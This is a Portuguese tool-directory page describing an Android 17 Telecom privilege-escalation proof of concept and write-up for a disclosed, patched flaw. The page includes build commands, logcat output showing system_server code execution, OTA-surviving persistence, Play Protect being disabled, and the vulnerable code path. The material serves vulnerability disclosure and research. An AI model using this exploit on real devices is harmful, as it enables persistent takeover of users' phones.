Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
TLPE — CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app | Kitploit
Ferramentas/GitHubGitHub/supersonic/tlpe
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubsupersonic/tlpe

TLPE

CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app

Ver Repositório
951247há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Este é um PoC e um writeup para o CVE-2026-49881, um problema de lógica na classe InCallController no serviço Telecom do Android 17 que permite que um aplicativo sem privilégios obtenha execução arbitrária de código como UID 1000 system_server sem nenhuma interação extra do usuário. Também mostramos aqui que a execução de código em system_server ainda pode ser facilmente adaptada para obter persistência, mesmo em versões modernas do Android.

Reportei esta vulnerabilidade à Equipe de Segurança do Android em 2026-04-10, ela foi confirmada em 2026-05-06 e foi corrigida no Boletim de Segurança do Android de setembro de 2026. (veja aqui o patch)

No momento do relato, ela afetava ativamente apenas builds Pixel a partir do Android 16 QPR3 (junto com builds Beta 17), até onde sei, mas depois chegou ao lançamento estável do AOSP do Android 17.

Para se proteger deste problema, certifique-se de instalar a atualização do sistema Google Play, bem como o patch de segurança do sistema. (Telecom é um componente mainline desde o Android 17)

TLPE

Notas sobre o PoC

  • O PoC demonstra a obtenção de execução de código em system_server usando a vulnerabilidade, registra id e stack trace no logcat e se reinstala como um componente de system_server.
  • Uma vez instalado o PoC, tocar no botão Start Exploit ou uma chamada sendo feita através da pilha telecom o acionará.
  • Compile o PoC executando o build.sh incluído. Caso contrário, você pode executar manualmente ./gradlew assembleSystemRelease, mover o app-system-release.apk resultante para app/src/poc/assets/system.apk e então executar ./gradlew assemblePocRelease.
  • O PoC registrará seu próprio certificado como um certificado ancestral para o UID 1000 após a exploração bem-sucedida. Este estado persiste através de OTAs, incluindo o patch da própria vulnerabilidade. Para limpar seu dispositivo após uma execução do PoC, você deve pressionar o botão "Uninstall" no PoC (que limpa o certificado injetado) — no entanto, recomendo fortemente usar seu próprio keystore de release para assinar um APK do PoC compilado durante os testes. (em vez daquele que o PoC usa por padrão em TLPE/app/teststore.jks)
  • Observe que o PoC, depois de entrar em system_server, também desativa o Play Protect definindo package_verifier_user_consent como -1 em Settings.Global, porque ele às vezes pode interceptar a transação de reinstalação devido a assinaturas desconhecidas. Você deve reativar isso em Configurações após os testes.
  • Foi validado no Pixel Android e no AOSP, mas o estágio de execução de código deve funcionar em versões do Android 17 personalizadas por OEMs. O estágio de reinstalação como system_server pode precisar de alguma personalização por OEM, pois depende de percorrer a estrutura do PMS usando símbolos que os OEMs às vezes alteram.

A saída esperada do logcat do PoC é:

04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Exploit successful!
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Current stack trace:
04-15 03:02:47.911  1558 12775 E TLPE    : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.934  1558 12785 E TLPE    : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935  1558 12785 E TLPE    : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957  1558 12785 E TLPE    : [+] Persistence successful, reinstalling...

Writeup

Esta é uma vulnerabilidade excepcionalmente direta. Sempre que certas ações relacionadas ao Telecom acontecem, o InCallController tenta descobrir serviços disponíveis através de getInCallServiceComponents. Isso ocorre naturalmente quando uma chamada é registrada no sistema, mas um aplicativo pode, na verdade, acioná-la sob demanda também graças à API de chamadas transacionais TelecomManager.addCall. (nota: é isso que o botão Start Exploit no PoC usa) Esta API precisa de MANAGE_OWN_CALLS, mas é uma permissão normal e invisível ao usuário, concedida automaticamente na instalação.

Esta enumeração é implementada nas versões vulneráveis assim:

private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
        String packageName, ComponentName componentName,
        int requestedType, boolean ignoreDisabled) {
        ...
        List<ResolveInfo> entries;
        entries = userPackageManager.queryIntentServices(
                serviceIntent,
                PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
        for (ResolveInfo entry : entries) {
            ServiceInfo serviceInfo = entry.serviceInfo;

            if (serviceInfo != null) {
                boolean isMetaFlag = serviceInfo.metaData != null &&
                        serviceInfo.metaData.getBoolean(
                                "android.telecom.CLASS_EXISTENCE_CHECK", false);
                if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
                    continue;
                }
                ...
            }
        }
}
Baixar ferramenta